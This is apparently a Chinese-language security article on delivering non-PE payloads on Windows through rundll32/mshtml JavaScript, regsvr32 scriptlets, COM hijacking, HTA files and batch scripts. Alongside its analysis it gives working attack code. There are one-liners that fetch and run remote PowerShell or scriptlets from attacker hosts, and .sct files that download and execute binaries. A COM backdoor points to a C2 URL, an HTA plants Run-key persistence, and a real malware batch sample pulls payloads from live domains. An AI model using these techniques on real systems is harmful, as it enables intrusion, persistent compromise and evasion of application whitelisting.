Windows下非PE方式载荷投递方式研究

1. 引言

0x1:载荷是什么?在整个入侵过程中起到什么作用?

载荷的作用在整个入侵链路的作用起到纽带的作用,它借助于目标系统提供的某些功能、组件、执行环境,将攻击者的传递的恶意payload包裹起来,并解析执行,使恶意payload发挥其作用,达到进一步入侵的目的。

在载荷之上,攻击者会利用各种方式去植入和启动载荷(例如创建服务或者创建计划任务)。我们研究windows系统下各种载荷的编写方式及其原理对我们举一反三,深刻理解windows环境下渗透方式多种多样变化性的深层次原因会很有帮助。

0x2:载荷的分类

1. 按照执行方式分类

从一个概括性较强的大范围来分类,载荷可以分为:

  • PE方式载荷:二进制可执行文件,也即汇编代码
  • 非PE方式载荷:例如Windows上的各种script脚本类文件,这类script文件可以落盘,同时因为其“即时编辑即执行”特性,也可以做到不落盘

下面思维导图是非PE载荷的可能攻击向量

2. 按照存储方式分类

从载荷的存储方式来分类,载荷可以分为

  • 内存执行
  • 本地缓存
    • 通过HTTP下载的对象的本地缓存将是IE本地缓存,在以下位置:
      • C:\Users<username>\AppData\Local\Microsoft\Windows\Temporary Internet Files
      • C:\Users<username>\AppData\Local\Microsoft\Windows\INetCache\IE<subdir>
    • 通过指向WebDAV服务器的UNC路径访问的文件将被保存在WebDAV客户机本地缓存中:
      • C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV
  • 磁盘文件

0x3:非PE载荷的优点

我们本文主要着眼于“系统自带 - 脚本载荷”展开讨论,由于其使用了系统原生自带的组件或者API功能,使得其具备一些非常好的特性,而备受黑客关注,例如:

  • 系统自带脚本通常对执行环境的依赖较小,可以用同一份payload在不修改的情况下直接对各种目标进行统一批量化攻击。
  • script代码体积较小,通常为一段ascii代码,同时也可以基于script脚本自身的可编程能力进行 ascii 加密编码,以躲避网络防火墙的审计
  • git compile && execute即时编译执行的特性使其可以被注入到例如定时任务、注册表,autorun等地方,即具备无文件不落盘的持久化特性
  • 因为使用了系统原生自带的解析引擎程序(例如powershell),不论是应用白名单还是AppLocker都会对其放行

Relevant Link:

https://cloud.tencent.com/developer/article/1141143 

 

2. 通过rundll32.exe/mshta.exe 执行javascript代码

javascript本来是浏览器的执行脚本语言,可以被IE/Chrome这些浏览器解析执行,但是我们可以绕过IE浏览器,直接调用"c:\windows\system32\mshta.exe"在外部直接执行JS代码。

实现代码demo code如下:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('foo');

0x1:rundll32介绍

从MSDN的描述中可以看出,Rundll32的作用是执行DLL文件中的内部函数:

RUNDLL.EXE <dllname>,<entrypoint> <optional arguments>
RUNDLL.EXE SETUPX.DLL,InstallHinfSection 132 C:\WINDOWS\INF\SHELL.INF
# 注意
# 1. <dllname> 不能包含任何空格、逗号或引号。这是 Rundll 命令行分析器的局限
# 2. 在上面的命令行中,<dllname> 和 <entrypont> 函数名称之间的逗号 (,) 极为重要。如果缺少这个逗号分隔符,Rundll 或 Rundll32 将失败,而且不显示任何错误。另外,在 <dllname>、逗号和 <entrypoint> 函数之间不能有任何空格

Rundll 的工作方式如下

1. 它分析命令行。
2. 它通过 LoadLibrary() 加载指定的 DLL。
3. 它通过 GetProcAddress() 获取 <entrypoint> 函数的地址。
4. 它调用 <entrypoint> 函数,并传递作为 <optional arguments> 的命令行尾。
5. 当 <entrypoint> 函数返回时,Rundll.exe 将卸载 DLL 并退出。

EntryPoint就是要执行的内部函数,它的原型如下:

void CALLBACK EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);
# 参数lpszCmdLine是由rundll32.exe命令语句中的<optional arguments>值确定的

0x2:Rundll32.exe分析

1. 解析命令行

Rundll32首先要调用ParseCommand函数把传进来的参数分割,函数会搜索逗号(‘,’, 0x2C)来定位DLL名字。搜索空格(‘ ‘, 0x20)来定位入口点。

在我们输入的命令中,ParseCommand返回javascript:"\..\mshtml作为DLL名称,RunHTMLApplication作为入口点。

2. DLL Loader - 加载对应DLL文件

Rundll32会试图读取名称为javascript:"\..\mshtml的DLL。

首先他会尝试调用GetFileAttributes(“javascript:”\..\mshtml”)来读取文件,最终函数会访问C:\Windows\system32\mshtml这个文件,但是由于文件不存在(很显然不可能存在),函数返回-1。

然后函数会调用SearchPath来寻找DLL名称。

SearchPath函数路径搜索的顺序

1. SearchPath会首先尝试读取"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeProcessSearchMode"键值: http://msdn.microsoft.com/zh-cn/library/windows/desktop/aa365527(v=vs.85).aspx
    1) 当他的键值为1时,SearchPath首先搜索系统路径中指定的文件夹,然后搜索当前工作目录
    2) 当键值为0时,正好相反,首先会搜索当前工作目录,然后搜索系统路径。

2. 在(on Windows XP / 7 / 8)的默认情况下这个键值不存在,所以SearchPath会试图在当前工作目录(即c:\windows\system32)读取“javascript:”\..\mshtml”

当都读取不到时,rundll32开始进入下一步工作,GetFileAttributes被重新调用来搜索javascript:”\..\mshtml.manifest

当这些都失败后Rundll32最终会调用LoadLibrary("javascript:"\..\mshtml")。

LoadLibrary是存在在ntdll.dll中包装LdrLoadDll的函数,内在地LdrLoadDll加载了默认的扩展名.dll然后把结果字符串javascript:”\..\mshtml.dll作为了路径。”..”符号代表着跳转到上一级。上一个指令解析到了mshtml.dll(例如foo\..\mshtml.dll 解析为 mshtml.dll)

通过指定mshtml.dll,LdrLoadDll能够调用在系统目录的库(C:\WINDOWS\system32\C:\WINDOWS\system32)。

Rundll32然后调用GetProcAddress提取入口点函数RunHTMLApplication

到这一步为止,LoadLibrary("foobar:\"\..\mshtml")工作正常,前缀javascript:似乎没起到什么作用。

3. mshtml.dll!RunHTMLAppliction 协议处理

一旦Rundll32得到了入口地址就会调用函数mshtml.dll!RunHTMLAppliction.

该函数并比未出现在微软的官方文档中,但其函数原型可以通过c:\windows\system32\mshta.exe(用来启动.hta文件的程序)对其的调用推断出来:

HRESULT RunHTMLApplication(
    HINSTANCE hinst,    // RunHTMLApplication的第一个参数接受一个窗口句柄而不是模块句柄,该参数用于mshtml注册新窗口类并创建窗口
    HINSTANCE hPrevInst,    // 第二个参数并未被用到
    LPSTR szCmdLine,
    int nCmdShow        // 最后一个参数nCmdShow由于指定RunHTMLApplication是否显示HTML应用的窗口。Rundll32调用入口的时候总是传入SW_SHOWDEFAULT来显示窗口到默认位置
);
# 该函数与rundll32需要的入口函数很相似:
void CALLBACK EntryPoint(
 HWND hwnd,
 HINSTANCE hinst,
 LPSTR lpszCmdLine,
 int nCmdShow
 );

我们主要关心的参数是lpszCmdLine,这里传入的应该是:””;alert(‘foo’)”。

很明显,这不是一个合法的JavaScript语句(末尾缺失双引号)。但本例中却是有效的,因为RunHTMLApplication会忽略该参数,而调用API GetCommandLine(包装在GetCmdLine函数中)来获取参数

完整的命令行包含可执行文件的名字和参数,GetCmdLine会去掉可自行文件名,提取出参数:

然后,RunHTMLApplication 会调用CreateUrlMoniker:

The CreateURLMoniker function creates a URL moniker from a full URL string, or from a base context URL moniker and a partial URL string.

CreateUrlMoniker解析命令行并提取出”:”之前的字符串,即“javascript”。这步的目的是解析出scheme协议

CreateUrlMoniker会读取注册表 HKEY_CLASSES_ROOT\PROTOCOLS\Handler\javascript 中的值,其中存储了协议和其对应的CLSID。

CreateUrlMoniker会为JavaScript寻找合适的协议处理器

该CLSID{3050F3B2-98B5-11CF-BB82-00AA00BDCE0B} 对应 “Microsoft HTML Javascript Pluggable Protocol”。

正是因为这样,所以参数必须以”javascript”开始。在IE中输入javascript:alert('foo') 也是同样处理的机制:

“:”之后的字符串会被JavaScript URL moniker当成JavaScript指令解析执行:"\..\mshtml,RunHTMLApplication ";alert('foo');

这是一段合法的JavaScript,包含一个字符串"\..\mshtml,RunHTMLApplication " (包括之前被忽略过的双引号)和一个函数(alert)。

最后RunHTMLApplication  会调用CHTMLApp::Run 并运行JavaScript:

0x3:核心原理总结

1. 借助rundll32.exe执行mshtml.dll的导出函数: RunHTMLApplication,这个函数允许我们使用IE的所有功能—对象模型,性能,渲染和协议支持—但却没有开启安全全限制和用户界面
2. 给rundll32.exe要传入的res协议必须指定为: javascript
3. 传给rundll32.exe的命令行参数必须是一段javascript代码,因为域安全特性(同源策略)也是关闭的,所以可以跨域执行脚本,并具有本地文件系统和注册表的读写权限。通过这个trick,可以让javascript在IE进程以外执行,同时又不受Vista等的保护模式和沙盒等安全策略的限制

0x4:攻击向量

1. 直接使用javascript代码进行恶意程序植入及启动

rundll32 javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://reverse-tcp.xyz/payload.sct");window.close();
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

本质上就是要利用javascript的网络IO;文件IO;进程启动相关api来实现恶意代码植入的目的。

通过,javascript也可以直接调用powershell来实现更复杂隐蔽的恶意逻辑

2. 通过javascript代码调用powershell运行ps代码进行恶意程序植入及启动

如果不想直接编写复杂的javascript代码逻辑,或者我们想复用已经非常成熟的empire powershell等组件,可以在javascript代码中做一个包装,直接通过ActiveXObject调用powershell启动新进程

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"

3. 通过mshta.exe解析执行javascript代码

通过前面的技术原理分析,我们知道,rundll32.exe本质上是调用的mshtml.dll来解析javascript代码。

mshta.exe同样也实现了对mdhtml.dll的解析封装,所以,我们可以使用mshta.exe复用相同的攻击向量:

mshta.exe "javascript:new%20ActiveXObject("WScript.Shell").Run("powershell%20-nop%20-exec%20bypass%20-c%20IEX%20(New-Object%20Net.WebClient).DownloadString('http://ip:port/');");window.close()"
mshta.exe javascript:"\..\mshtml,RunHTMLApplication ";alert('foo');
Mshta javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.2.101:9998/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /immshta.exe",0,true);}

4. WSC文件:can it work?

Relevant Link:

https://support.microsoft.com/zh-cn/help/164787/info-windows-rundll-and-rundll32-interface
https://msdn.microsoft.com/zh-cn/library/ms775102(v=vs.85).aspx
http://bobao.360.cn/learning/detail/164.html
http://wps2015.org/drops/drops/JavaScript后门深层分析.html
https://support.microsoft.com/zh-cn/help/164787/info-windows-rundll-and-rundll32-interface
http://rinige.com/index.php/archives/567

 

3. 基于scriptlets+scrobj.dll将javascript / vbscript封装为COM组件通过regsvr32注册执行代码逻辑

0x1:涉及到的相关基本概念和原理

为了更好地说明这种攻击方式,我们需要先理顺几个基本概念原理。

1. Regsvr32

Regsvr32命令用于注册动态链接库文件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。

regsvr32 [/u] [/s] [/n] [/i[:cmdline]] dllname 

/u: 卸载已安装的控件或DLL文件
/s: 静默,不显示任何消息框
/n: 指定不调用 DllRegisterServer,此选项必须与 /i 共同使用
/i:cmdline: 调用 DllInstall 将它传递到可选的 [cmdline],在与 /u 共同使用时,它调用 dll 卸载
dllname: 指定要注册的 dll 文件名

2. COM组件

以Win32动态链接库(DLL)或可执行文件(EXE)形式发布的可执行二进制代码,能够满足对组件架构的所有需求,可通过Regsvr32命令注册

组件与开发工具语言无关
通过接口有效保证了组件的复用性
组件运行效率高、便于使用和管理

3. Scriptlets

在可扩展标记语言(XML)文件中通过脚本语言(VBScript或者JScript)可以创建一个COM对象,后缀名为sct

4. scrobj.dll

用来帮助将COM请求发送到脚本组件

综上,这种方式的内部原理大致是下面这样的:

基于scriptlets在xml中编写一段javascript/vbscript代码(创建COM对象) ->
调用msxml.dll完成对xml的解析 ->
借助scrobjdll对javascript/vbscript COM对象的代码进行解析,生成COM对象instance ->
通过regsvr32实现注册 ->
在创建COM对象的初始化逻辑(DllInstall()函数)里直接执行传入启动参数(SCT URL;或SCT路径),恶意逻辑;或在创建COM对象之后通过第三方应用再去调用创建的COM对象完成恶意逻辑执行

0x2:通过regsvr32注册VBScript/JSCript scriptlets(COM对象)注册一个COM对象供第三方程序调用

Component.sct

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Component"
    progid="Component.InsideCOM"
    version="1.00"
    classid="{10001111-0000-0000-0000-000000000001}"
>
</registration>

<public>
    <method name="Sum">
        <PARAMETER name="X"/>
        <PARAMETER name="Y"/>
    </method>
</public>
<script language="VBScript">
<![CDATA[

function Sum(X, Y)
    Sum = X + Y
end function

]]>
</script>

</scriptlet>

通过执行Regsvr32命令注册COM组件 

regsvr32 /i:"Component.sct" scrobj.dll

注册后在注册表HKEY_CLASSES_ROOT\CLSID\下同步创建键值{10001111-0000-0000-0000-000000000001}

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\CLSID\{10001111-0000-0000-0000-000000000001}]
@="Component"

[HKEY_CLASSES_ROOT\CLSID\{10001111-0000-0000-0000-000000000001}\InprocServer32]
@="C:\\Windows\\system32\\scrobj.dll"
"ThreadingModel"="Apartment"

[HKEY_CLASSES_ROOT\CLSID\{10001111-0000-0000-0000-000000000001}\ProgID]
@="Component.InsideCOM.1.00"

[HKEY_CLASSES_ROOT\CLSID\{10001111-0000-0000-0000-000000000001}\ScriptletURL]
@="file:///C:/Users/Administrator/Desktop/poc/Component.sct"

[HKEY_CLASSES_ROOT\CLSID\{10001111-0000-0000-0000-000000000001}\VersionIndependentProgID]
@="Component.InsideCOM"

通过VBS调用注册过的COM组件

TestVB.vbs

Dim ref 
Set ref = CreateObject("Component.InsideCOM")
MsgBox ref.Sum(4, 6)

执行后如图,成功调用COM组件

需要注意的:使用这种方式创建的COM组件,是跨编程语言通用的,COM对各种编程语言提供了统一的API接口

我这里尝试用JScript来调用VBScript创建的COM组件,同样也是可以的:

var ref = new ActiveXObject("Component.InsideCOM");
var x = ref.Sum(4,6);
WScript.Echo(x);

同样,我们也可以基于jscript也可以完成对COM组件的调用,本质上和基于VBScript创建COM组件是一样的,创建出来的COM对象也可以被各种第三方应用所调用

ComponentJS.sct

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Component"
    progid="Component.InsideCOMJS"
    version="1.00"
    classid="{10001111-0000-0000-0000-000000000002}"
>
</registration>

<public>
    <method name="Sum">
        <PARAMETER name="X"/>
        <PARAMETER name="Y"/>
    </method>
</public>
<script language="JScript">
<![CDATA[

function Sum(X, Y) {
    var result = X + Y;
    return result;
    }
]]>
</script>

</scriptlet>

0x3:修改其他已注册的COM组件的文件路径实现劫持的目的

COM组件的文件保存在注册表中,我们如果可以修改注册表,还可以直接修改对应sct URL,达到劫持的目的:

和hook劫持的基本原理一样,我们用于劫持的sct script,要和原来的接口(包括接口名称和参数个数)和com id保持一致:

<scriptlet>

<registration
    description="Empire"
    progid="Empire"
    version="1.00"
    classid="{10001111-0000-0000-0000-000000000001}"
    >
</registration>

<public>
    <method name="Sum">
<PARAMETER name="X"/>
        <PARAMETER name="Y"/>
</method>
</public>
<script language="JScript">
<![CDATA[
    
    function Sum(X, Y)
    {
        var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
    }
    
]]>
</script>

</scriptlet>

0x4:文件名可简化

后缀名不一定必须用".sct",其他格式也可以,解析引擎并不在意文件的后缀。

regsvr32 /i:"calc.txt" scrobj.dll

0x5:加入/s参数可隐藏弹出的注册成功的对话框

0x6:sct文件可放在远程服务器上

regsvr32.exe /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll
# regsrv32指令选项:
/s 静默执行
/n 指定不调用DllRegisterServer,此选项必须与/i共同使用
/i 调用DllInstall将它传递到可选的[cmdline],在与 /u 共同使用时,它调用DllUnstall
/u 反注册控件

在代理环境下也能正常访问,也支持https访问

0x7:在sct的javascript/vbscript脚本中继续调用其他编程api接口

同时要注意的是,javascript同时还可以继续调用其他windows api或者powershell

regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/test/master/downloadexec.sct scrobj.dll

#原理:
regsve32->JScript->powershell->download&exec

sct代码如下:

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Test"
    progid="Test"
    version="1.00"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}"
    >
    
    <script language="JScript">
        <![CDATA[
    
            new ActiveXObject("WScript.Shell").Run("powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/3gstudent/test/raw/master/putty.exe','c:\\download\\a.exe');start-process 'c:\\download\\a.exe'",0,true);
    
        ]]>
</script>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
    
    function Exec()
    {
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    }
    
]]>
</script>

</scriptlet>

从这里我们可以看到,操作系统提供的各种脚本代码可以相互之间交叉调用,黑客可以根据自己获得的exploit投递点所具备的环境,去选择一个最稳定的script在和进行投递,一旦完成第一阶段投递,就可以基于该script继续调用更多的api和其他script完成更复杂的操作

0x8:在sct的javascript/vbscript脚本中实现文件下载的目的

我们知道,从远程服务器(常常是黑客自己控制的C&C virus服务器)下载恶意程序并植入目标系统是入侵链路中一个非常重要的环节。

1. vbs脚本实现的http文件下载执行代码

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Test"
    progid="Test"
    version="1.00"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}"
    >
    
    <script language="VBScript">
        <![CDATA[
    
            Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.XMLHTTP")
http.open "GET","https://github.com/3gstudent/test/raw/master/putty.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "./a.exe"
ado.Close
    
        ]]>
</script>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
    
    function Exec()
    {
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    }
    
]]>
</script>

</scriptlet>

但该脚本不支持https下载,但是如果是普通http下载则可以成功

2. 基于Msxml2.ServerXMLHTTP.6.0实现https文件下载

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Test"
    progid="Test"
    version="1.00"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}"
    >
    
    <script language="VBScript">
        <![CDATA[
    
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0")
http.SetOption 2, 13056
http.open "GET","https://github.com/3gstudent/test/raw/master/putty.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "./a.exe"
ado.Close
    
        ]]>
</script>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
    
    function Exec()
    {
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    }
    
]]>
</script>

</scriptlet>

3. 基于WinHttp.WinHttpRequest.5.1实现https文件下载

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Test"
    progid="Test"
    version="1.00"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}"
    >
    
    <script language="VBScript">
        <![CDATA[
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Dim http,ado
Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
http.open "GET","https://github.com/3gstudent/test/raw/master/putty.exe",False
http.send
Set ado = createobject("Adodb.Stream")
ado.Type = adTypeBinary
ado.Open
ado.Write http.responseBody
ado.SaveToFile "./b.exe"
ado.Close
    
        ]]>
</script>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
    
    function Exec()
    {
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    }
    
]]>
</script>

</scriptlet>

0x9:通过regsvr32注册可远程升级配置的COM组件后门

1. HTTP SCT URL

前面介绍COM hijack的时候说过,可以通过修改COM URL来实现劫持,同时COM url支持http/代理等,我们可以写入一个远程http sct url而不是一个本地sct文件路径

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Empire"
    progid="Empire"
    version="1.00"
    classid="{20001111-0000-0000-0000-0000FEEDACDC}"
    >
    <!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll -->
    <!-- regsvr32 /s /i:http://server/Backdoor.sct scrobj.dll -->
    <!-- That should work over a proxy and SSL/TLS... -->
    <!-- Proof Of Concept - Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[
    
            var WshShell = new ActiveXObject("WScript.Shell");
    var strRegPath = "HKEY_CLASSES_ROOT\\CLSID\\{20001111-0000-0000-0000-0000FEEDACDC}\\ScriptletURL\\";
    WshShell.RegWrite(strRegPath, "http://127.0.0.1:8080/c2.js", "REG_SZ"); 
    
        ]]>
</script>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
    
    function Exec()
    {
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    }
    
]]>
</script>

</scriptlet>

注册的时候就直接将自身的COM URL替换为一个远程http url地址

这样的好处是黑客可以随机修改sct的代码逻辑,做到无文件落盘升级恶意代码逻辑

2. UNC SCT URL

所谓的UNC路径,就是Universal Naming Convention /通用命名规则,也叫通用命名规范、通用命名约定。格式为:

\\servername\sharename\directory\filename

但是要注意的是,UNC基于netbios实现,使用unc方式投递文件需要两头机器在同一个网段,适配型远没有http方式来的强,因此大多数情况下这种方式很少人用

0x10:直接在注册COM组件的时候就执行代码逻辑,跳过之后通过第三方应用来调用COM接口

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Empire"
    progid="Empire"
    version="1.00"
    classid="{20001111-0000-0000-0000-0000FEEDACDC}"
    >
    <!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll -->
    <!-- regsvr32 /s /i:http://server/Backdoor.sct scrobj.dll -->
    <!-- That should work over a proxy and SSL/TLS... -->
    <!-- Proof Of Concept - Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[

            var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); 

        ]]>
</script>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[

    function Exec()
    {
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    }

]]>
</script>

</scriptlet>

加入 /s 参数,避免提示注册成功提示。

同时需要注意,通过第三方应用依然可以调用这个COM接口函数

这种方法可以绕过应用程序白名单的过滤

0x11:通过COM组件卸载在非admin权限下注册COM组件

我们知道,COM组件注册必须要admin权限,并不是在所有exploit环境下我们都能有admin执行指令的权限,这里就需要用到一种小技巧,通过增加 /u 参数,通过COM组件卸载来实现代码执行

如图,普通用户权限,开启Windows AppLocker,成功执行js代码,弹出计算器

Relevant Link:

https://xianzhi.aliyun.com/forum/topic/1649
http://wps2015.org/drops/drops/Use%20SCT%20to%20Bypass%20Application%20Whitelisting%20Protection.htm

 

4. 在HTA宿主中通过javascript / vbscript执行代码逻辑

0x1:HTA简介

HTA是Microsoft Windows程序,其源代码由几部分混合而成

1. HTML: HTML用于生成用户界面
2. 动态HTML
3. Internet Explorer(IE)支持的脚本语言: 脚本语言用于控制程序逻辑
    1) 如VBScript
    2) 或JScript)组成

HTA执行是没有互联网浏览器安全模型的限制,而且它作为一个“完全信任”的应用程序执行。HTA常用文件扩展名为.hta。
所有当前的Windows操作系统都支持HTA文件执行。HTA看起来像一个HTML文件,但它具有比HTML文件更高的权限。HTA文件执行需要mshta.exe(%SystemRoot%\system32\mshta.exe),mshta.exe随Internet Explorer一起安装。Mshta.exe通过实例化Internet Explorer渲染引擎(mshtml)以及任何所需的语言引擎(如vbscript.dll)来执行HTA
这些特性使得hta具有本地化应用程序特征

0x2:攻击向量

这种攻击手法,可能会影响从Windows 95到Windows 10的所有Windows版本,因为所有版本都有预安装IE,而随附IE的WSCRIPT是执行此攻击的唯一必需组件。

1. 启动一个计算器

hello.hta

<!--hello.hta-->
<html>
<head>
<title>hello</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<HTA:ApplicationID="oHTA" Applicationname="hta_app" border="thin" borderstyle="normal" icon="hello.ico" maximizebutton="yes" minimizebutton="yes" showintaskbar="no" singleinstance="no" sysmenu="yes" version="777" windowstate="normal" scroll="yes">
</head>
<body>
<center>
<br>
<h1>Hello HTA</h1>
<br>
<h2>( ⊙ o ⊙ )/出来吧!计算器!</h2>
<br>
</center>
<script language="VBScript">
Set Hello = CreateObject("Wscript.Shell")
Hello.Run "calc.exe"
</script>
</body>
</html>

虽然说也是静态页面,但hta脚本可以直接使用vbs并调用Wscript.Shell,从这个角度来看,hta文件完全可以看成是一个exe程序,可以在里面恶意病毒的代码逻辑

2. 在hta中基于vbscript调用powershell

我们刚才说了,我么可以把hta看成是一个可执行程序,可以在里面编写javascript / vbscript代码,既然这样,编程语言之间互相调用是很平常简单的事情,我们可以通过vb来调用powershell,利用powershell的能力实现更隐蔽的渗透动作。

如果想假装闪退效果,可以直接在脚本结尾加入执行 “taskkill /f /im mshta.exe” kill掉mshta的进程,因为shellcode是注入在powershell中执行的,只要powershell健在,session就能保持住

<title>XXX-exp</title>
<center>
<h1>XXX-exp: death.exe</h1>
<br>
<h2>Loading...</h2>
<br>
[<marquee scrollAmount=4 width=350 direction=right>|||||||||||||</marquee>]35%
<br>
</center>
<script language="VBScript">
  Set Hackdo = CreateObject("Wscript.Shell")
  Set Check = CreateObject("Scripting.FileSystemObject") 
  Hackdo.Run "powershell.exe -nop calc.exe"  
  Hackdo.Run "taskkill /f /im mshta.exe"
</script>

3. 水坑攻击

假设一个感染情景,用户被社工引诱或者是水坑攻击而访问某网站,然后该网站要求点击运行或执行某个事件,一旦点击执行,该事件将创建一个WScript ActiveX对象,然后创建运行注册表项,使用rundll32弹出JS警告(对于POC)而进行更多其它操作。

<html>
<head>
<title>RegTest</title>
<script language="JavaScript">
function writeInRegistry(sRegEntry, sRegValue)
{
   var regpath = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\" + sRegEntry;
   var oWSS = new ActiveXObject("WScript.Shell");
   oWSS.RegWrite(regpath, sRegValue, "REG_SZ");
}

function readFromRegistry(sRegEntry)
{
   var regpath = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\" + sRegEntry;        /*Payload injected in Run registry entry*/
   var oWSS = new ActiveXObject("WScript.Shell");    /*WASCRIPT ActiveX object created which is used to inject the Malicous JS in registry*/
   return oWSS.RegRead(regpath);
}
function tst()
{
   writeInRegistry("malware", "rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";alert('payload'); "); /*Payload is the JS payload which does the real malicious stuff and it got watchdog, for keeping an eye over the registry entry which makes the infection persistent*/
   alert(readFromRegistry("malware"));
}
</script></head>
<body>

Click here to run test: <input type="button" value="Run" onclick="tst()"
</body>
</html>

可以看到,虽然看起来是一个网页,但是它却比在浏览器sandbox里的javascript代码的威力要大得多,可以直接调用系统api完成恶意可执行程序可以做的事情

为了让感染持续存在,它被注入到运行注册表项,用户重新启动计算机,它又会自动重新注册。

Relevant Link:

https://paper.seebug.org/265/
http://www.freebuf.com/sectool/90362.html
https://www.cnblogs.com/vitrox/p/5135642.html
http://blog.csdn.net/juanjuanjean/article/details/7224843
http://sec.chinabyte.com/354/11903354.shtml
https://blog.malwarebytes.com/cybercrime/2016/09/surfacing-hta-infections/ 

 

5. BAT脚本

0x1:通过windows bat脚本编写恶意代码

使用bat批处理脚本本质上和直接在命令行执行各种指令(包括powershell指令)是一样的,它唯一的好处是可以减少exploit投递的次数,只要一次性把所有指令都打包在一个.bat文件中,然后在命令行执行下列指令即可:

payload.bat

下面以一个bat malware为例说明:

https://www.hybrid-analysis.com/sample/6b5d06fe2085fcade04dce3bdd1a62aa5c72720e4ba9329ddd893caaf59be6b5?environmentId=100
https://www.virustotal.com/#/file/6b5d06fe2085fcade04dce3bdd1a62aa5c72720e4ba9329ddd893caaf59be6b5/community

payload.bat

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -command Set-Variable -name zsb -value BitsTransfer; 
Import-Module BitsTransfer; 
$app = "cmd.exe /c mkdir C:\Users\lb06817\AppData\Local\madCollection"; 
Invoke-Expression -Command $app; 
Start-BitsTransfer "http://onthesummit.pl/wp-includes/random_compat/7z.png" "$env:LOCALAPPDATA\madCollection\bc3efab342f72c6e7e5d9b61136edb03.exe"; 
Start-BitsTransfer "http://kerryvandermeer.com/images/hgu5bzuhS0pp.7z" "$env:LOCALAPPDATA\madCollection\IloyECOLmtqs.7z"; 
$extract = "cmd.exe /c C:\Users\lb06817\AppData\Local\madCollection\bc3efab342f72c6e7e5d9b61136edb03.exe x C:\Users\lb06817\AppData\Local\madCollection\IloyECOLmtqs.7z -oC:\Users\lb06817\AppData\Local\madCollection -r -pabc195bzuhS090cvb"; 
Invoke-Expression -Command $extract; 
$start = "cmd.exe /c C:\Users\lb06817\AppData\Local\madCollection\twunk_32.exe C:\Users\lb06817\AppData\Local\madCollection\sqlSodxQ.sql"; 
Invoke-Expression -Command $start; 
Write-Host "Finish"

0x2:通过管道执行bat指令

cmd.exe /K < hello.bat

